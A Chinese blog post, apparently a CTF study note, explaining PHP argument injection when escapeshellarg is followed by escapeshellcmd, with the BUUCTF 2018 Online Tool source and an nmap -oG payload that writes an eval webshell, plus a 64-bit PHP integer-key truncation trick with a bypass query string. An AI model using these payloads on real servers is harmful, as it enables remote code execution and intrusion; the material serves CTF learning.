数组键截断与参数注入

前言

划水划累了,学习一哈。

escapeshellarg + escapeshellcmd

escapeshellargescapeshellcmd两个函数都是php设置来转义非法字符的,不过由于它们俩的转义规则有所不同,当先使用escapeshellarg再使用escapeshellcmd时可能导致命令参数注入

前置知识

escapeshellarg:对单引号转义,并在两边再加上单引号

escapeshellcmd:对单引号转义,且不转义成对引号

原理

最后执行的语句变成

1
curl '127.0.0.1'\\'' -v -d a=1\'

简化一下

1
curl 127.0.0.1\ -v -d a=1'

成功实现参数注入~

[BUUCTF 2018]Online Tool

考察点:nmap -oG 参数写webshell,参数注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

payload

1
?host=' <?php @eval($_POST["sketch_pl4ne"])?>  -oG shell.php '

PS:参数记得用双引号

[0 => 0] === [0x100000000 => 0]

题目

偶然在群里看到的一道题,刚开始以为没什么难度,实际上还是有点东西的。

1
2
3
4
5
6
7
8
9
<?php
$user = ['admin', 'xxoo'];
if(empty($_GET['user'])) die(show_souce(__FILE__));
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
} else {
die('sketch_pl4ne_wants_a_girlfriend.');
}
?>

原理

这个实际上考的是索引数组的整数键截断https://bugs.php.net/bug.php?id=69892

1
var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

于是构造payload:

1
2
?user[4294967296]=admin&user[1]=xxoo
//0x100000000 == 4294967296

PS:这个漏洞仅在64位php中有效

拓展知识

如何判断自己的php是32位还是64位

1
2
3
4
5
6
7
8
9
10
11
<?php
if (PHP_INT_SIZE == 8){
echo 'if 64-bit version of PHP';
}
else if (PHP_INT_SIZE == 4){
echo '32-bit version of PHP';
}
else {
echo 'PHP_INT_SIZE' . PHP_INT_SIZE;
}
?>

参考链接

https://bugs.php.net/bug.php?id=69892

http://blog.evalbug.com/2015/11/10/different_arrays_compare_indentical_due_to_integer_key_truncation/

小结

骚姿势,一天学四个,嘿嘿!

0%